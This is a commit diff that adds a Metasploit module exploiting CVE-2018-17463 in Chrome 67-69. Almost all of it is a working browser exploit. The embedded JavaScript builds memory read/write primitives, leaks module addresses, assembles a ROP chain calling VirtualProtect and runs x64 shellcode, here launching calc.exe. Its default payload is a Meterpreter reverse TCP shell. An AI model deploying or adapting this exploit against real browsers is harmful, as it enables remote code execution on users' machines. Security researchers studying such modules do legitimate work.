chrome 69.0.3497.100 --no-sandbox calc.exe
This commit is contained in:
@@ -0,0 +1,346 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Google Chrome 67, 68 and 69 Object.create exploit',
|
||||
'Description' => %q{
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'saelo', # discovery and exploit
|
||||
'timwr', # metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2018-17463'],
|
||||
],
|
||||
'Arch' => [ ARCH_X64 ],
|
||||
'Platform' => 'windows',
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' },
|
||||
'Targets' => [ [ 'Automatic', { } ] ],
|
||||
'DisclosureDate' => 'Sep 25 2018'))
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
print_status("Sending #{request.uri} to #{request['User-Agent']}")
|
||||
html = %Q^
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<script>
|
||||
log = console.log;
|
||||
print = alert;
|
||||
|
||||
// We need some space later
|
||||
let scratch = new ArrayBuffer(0x100000);
|
||||
let scratch_u8 = new Uint8Array(scratch);
|
||||
let scratch_u64 = new BigUint64Array(scratch);
|
||||
scratch_u8.fill(0x41, 0, 10);
|
||||
|
||||
let shellcode = new Uint8Array([
|
||||
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
|
||||
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
|
||||
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
|
||||
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
|
||||
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
|
||||
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
|
||||
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
|
||||
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
|
||||
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
|
||||
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
|
||||
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
|
||||
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
|
||||
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
|
||||
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
|
||||
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
|
||||
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
|
||||
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
|
||||
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
|
||||
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
|
||||
0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
|
||||
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
|
||||
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
|
||||
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
|
||||
]);
|
||||
|
||||
let ab = new ArrayBuffer(8);
|
||||
let floatView = new Float64Array(ab);
|
||||
let uint64View = new BigUint64Array(ab);
|
||||
let uint8View = new Uint8Array(ab);
|
||||
|
||||
Number.prototype.toBigInt = function toBigInt() {
|
||||
floatView[0] = this;
|
||||
return uint64View[0];
|
||||
};
|
||||
|
||||
BigInt.prototype.toNumber = function toNumber() {
|
||||
uint64View[0] = this;
|
||||
return floatView[0];
|
||||
};
|
||||
|
||||
function hex(n) {
|
||||
return '0x' + n.toString(16);
|
||||
};
|
||||
|
||||
function fail(s) {
|
||||
print('FAIL ' + s);
|
||||
throw null;
|
||||
}
|
||||
|
||||
const NUM_PROPERTIES = 32;
|
||||
const MAX_ITERATIONS = 100000;
|
||||
|
||||
function gc() {
|
||||
for (let i = 0; i < 200; i++) {
|
||||
new ArrayBuffer(0x100000);
|
||||
}
|
||||
}
|
||||
|
||||
function make(properties) {
|
||||
let o = {inline: 42} // TODO
|
||||
for (let i = 0; i < NUM_PROPERTIES; i++) {
|
||||
eval(`o.p${i} = properties[${i}];`);
|
||||
}
|
||||
return o;
|
||||
}
|
||||
|
||||
function pwn() {
|
||||
function find_overlapping_properties() {
|
||||
let propertyNames = [];
|
||||
for (let i = 0; i < NUM_PROPERTIES; i++) {
|
||||
propertyNames[i] = `p${i}`;
|
||||
}
|
||||
eval(`
|
||||
function vuln(o) {
|
||||
let a = o.inline;
|
||||
this.Object.create(o);
|
||||
${propertyNames.map((p) => `let ${p} = o.${p};`).join('\\n')}
|
||||
return [${propertyNames.join(', ')}];
|
||||
}
|
||||
`);
|
||||
|
||||
let propertyValues = [];
|
||||
for (let i = 1; i < NUM_PROPERTIES; i++) {
|
||||
propertyValues[i] = -i;
|
||||
}
|
||||
|
||||
for (let i = 0; i < MAX_ITERATIONS; i++) {
|
||||
let r = vuln(make(propertyValues));
|
||||
if (r[1] !== -1) {
|
||||
for (let i = 1; i < r.length; i++) {
|
||||
if (i !== -r[i] && r[i] < 0 && r[i] > -NUM_PROPERTIES) {
|
||||
return [i, -r[i]];
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fail("Failed to find overlapping properties");
|
||||
}
|
||||
|
||||
function addrof(obj) {
|
||||
eval(`
|
||||
function vuln(o) {
|
||||
let a = o.inline;
|
||||
this.Object.create(o);
|
||||
return o.p${p1}.x1;
|
||||
}
|
||||
`);
|
||||
|
||||
let propertyValues = [];
|
||||
propertyValues[p1] = {x1: 13.37, x2: 13.38};
|
||||
propertyValues[p2] = {y1: obj};
|
||||
|
||||
let i = 0;
|
||||
for (; i < MAX_ITERATIONS; i++) {
|
||||
let res = vuln(make(propertyValues));
|
||||
if (res !== 13.37)
|
||||
return res.toBigInt()
|
||||
}
|
||||
|
||||
fail("Addrof failed");
|
||||
}
|
||||
|
||||
function corrupt_arraybuffer(victim, newValue) {
|
||||
eval(`
|
||||
function vuln(o) {
|
||||
let a = o.inline;
|
||||
this.Object.create(o);
|
||||
let orig = o.p${p1}.x2;
|
||||
o.p${p1}.x2 = ${newValue.toNumber()};
|
||||
return orig;
|
||||
}
|
||||
`);
|
||||
|
||||
let propertyValues = [];
|
||||
let o = {x1: 13.37, x2: 13.38};
|
||||
propertyValues[p1] = o;
|
||||
propertyValues[p2] = victim;
|
||||
|
||||
for (let i = 0; i < MAX_ITERATIONS; i++) {
|
||||
o.x2 = 13.38;
|
||||
let r = vuln(make(propertyValues));
|
||||
if (r !== 13.38)
|
||||
return r.toBigInt();
|
||||
}
|
||||
|
||||
fail("Corrupt ArrayBuffer failed");
|
||||
}
|
||||
|
||||
let [p1, p2] = find_overlapping_properties();
|
||||
log(`[+] Properties p${p1} and p${p2} overlap after conversion to dictionary mode`);
|
||||
|
||||
let memview_buf = new ArrayBuffer(1024);
|
||||
let driver_buf = new ArrayBuffer(1024);
|
||||
|
||||
gc();
|
||||
|
||||
|
||||
let memview_buf_addr = addrof(memview_buf);
|
||||
memview_buf_addr--;
|
||||
log(`[+] ArrayBuffer @ ${hex(memview_buf_addr)}`);
|
||||
|
||||
let original_driver_buf_ptr = corrupt_arraybuffer(driver_buf, memview_buf_addr);
|
||||
|
||||
let driver = new BigUint64Array(driver_buf);
|
||||
let original_memview_buf_ptr = driver[4];
|
||||
|
||||
let memory = {
|
||||
write(addr, bytes) {
|
||||
driver[4] = addr;
|
||||
let memview = new Uint8Array(memview_buf);
|
||||
memview.set(bytes);
|
||||
},
|
||||
read(addr, len) {
|
||||
driver[4] = addr;
|
||||
let memview = new Uint8Array(memview_buf);
|
||||
return memview.subarray(0, len);
|
||||
},
|
||||
readPtr(addr) {
|
||||
driver[4] = addr;
|
||||
let memview = new BigUint64Array(memview_buf);
|
||||
return memview[0];
|
||||
},
|
||||
writePtr(addr, ptr) {
|
||||
driver[4] = addr;
|
||||
let memview = new BigUint64Array(memview_buf);
|
||||
memview[0] = ptr;
|
||||
},
|
||||
addrof(obj) {
|
||||
memview_buf.leakMe = obj;
|
||||
let props = this.readPtr(memview_buf_addr + 8n);
|
||||
return this.readPtr(props + 15n) - 1n;
|
||||
},
|
||||
};
|
||||
|
||||
let div = document.createElement('div');
|
||||
let div_addr = memory.addrof(div);
|
||||
alert('div_addr = ' + hex(div_addr));
|
||||
let el_addr = memory.readPtr(div_addr + 0x20n);
|
||||
let leak = memory.readPtr(el_addr);
|
||||
|
||||
let chrome_child = leak - 0x40b5f20n;
|
||||
print('chrome_child @ ' + hex(chrome_child));
|
||||
// CreateEventW
|
||||
//let kernel32 = memory.readPtr(chrome_child + 0x4771260n) - 0x20750n;
|
||||
//let ntdll = memory.readPtr(kernel32 + 0x78208n) - 0x9a9a0n;
|
||||
let kernel32 = memory.readPtr(chrome_child + 0x4771260n) - 0x20d10n;
|
||||
print('kernel32 @ ' + hex(kernel32));
|
||||
log('ntqueryevent import @ ' + hex(kernel32 + 0x78208n));
|
||||
log('ntqueryevent export @ ' + hex(memory.readPtr(kernel32 + 0x78208n)));
|
||||
// kernel32 00007FFF5D9A0000 NtQueryEvent import 00007FFF5DA18208
|
||||
// ntdll 00007FFF5FE40000 NtQueryEvent export 00007FFF5FEDB450
|
||||
let ntdll = memory.readPtr(kernel32 + 0x78208n) - 0x9b450n;
|
||||
print('ntdll @ ' + hex(ntdll));
|
||||
|
||||
let virtualprotect = kernel32 + 0x1ACB0n;
|
||||
//kernel32 + 0x193d0n, // VirtualProtect
|
||||
print('virtualprotect @ ' + hex(virtualprotect));
|
||||
|
||||
/*
|
||||
00007ff9`296f0705 488b5150 mov rdx,qword ptr [rcx+50h]
|
||||
00007ff9`296f0709 488b6918 mov rbp,qword ptr [rcx+18h]
|
||||
00007ff9`296f070d 488b6110 mov rsp,qword ptr [rcx+10h]
|
||||
00007ff9`296f0711 ffe2 jmp rdx
|
||||
|
||||
0x1800a11b5 488b5150 mov rdx, qword [rcx + 0x50]
|
||||
00007FFF5FEE11B5 488B5150
|
||||
*/
|
||||
|
||||
let gadget = ntdll + 0xa11b5n;
|
||||
//let gadget = ntdll + 0xA0705n;
|
||||
//let gadget = 0x41414141n;
|
||||
log('gadget @ ' + hex(gadget));
|
||||
|
||||
let pop_gadgets = [
|
||||
chrome_child + 0x36a657n, // pop rcx ; ret 59 c3
|
||||
chrome_child + 0x9962n, // pop rdx ; ret 5a c3
|
||||
chrome_child + 0xc72852n, // pop r8 ; ret 41 58 c3
|
||||
chrome_child + 0xc51425n, // pop r9 ; ret 41 59 c3
|
||||
];
|
||||
|
||||
let scratch_addr = memory.readPtr(memory.addrof(scratch) + 0x20n);
|
||||
|
||||
let sc_offset = 0x20000n - scratch_addr % 0x1000n;
|
||||
let sc_addr = scratch_addr + sc_offset
|
||||
scratch_u8.set(shellcode, Number(sc_offset));
|
||||
|
||||
scratch_u64.fill(gadget, 0, 100);
|
||||
//scratch_u64.fill(0xdeadbeefn, 0, 100);
|
||||
|
||||
let fake_vtab = scratch_addr;
|
||||
let fake_stack = scratch_addr + 0x10000n;
|
||||
|
||||
let stack = [
|
||||
pop_gadgets[0],
|
||||
sc_addr,
|
||||
pop_gadgets[1],
|
||||
0x1000n,
|
||||
pop_gadgets[2],
|
||||
0x40n,
|
||||
pop_gadgets[3],
|
||||
scratch_addr,
|
||||
virtualprotect,
|
||||
sc_addr,
|
||||
];
|
||||
|
||||
for (let i = 0; i < stack.length; ++i) {
|
||||
scratch_u64[0x10000/8 + i] = stack[i];
|
||||
}
|
||||
|
||||
memory.writePtr(el_addr + 0x10n, fake_stack); // RSP
|
||||
memory.writePtr(el_addr + 0x50n, pop_gadgets[0] + 1n); // RIP = ret
|
||||
memory.writePtr(el_addr + 0x58n, 0n);
|
||||
memory.writePtr(el_addr + 0x60n, 0n);
|
||||
memory.writePtr(el_addr + 0x68n, 0n);
|
||||
memory.writePtr(el_addr, fake_vtab);
|
||||
|
||||
// Trigger virtual call
|
||||
div.dispatchEvent(new Event('click'));
|
||||
|
||||
// We are done here, repair the corrupted array buffers
|
||||
let addr = memory.addrof(driver_buf);
|
||||
memory.writePtr(addr + 32n, original_driver_buf_ptr);
|
||||
memory.writePtr(memview_buf_addr + 32n, original_memview_buf_ptr);
|
||||
}
|
||||
|
||||
alert("Press OK to pwn");
|
||||
pwn();
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
</body>
|
||||
</html>
|
||||
^
|
||||
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user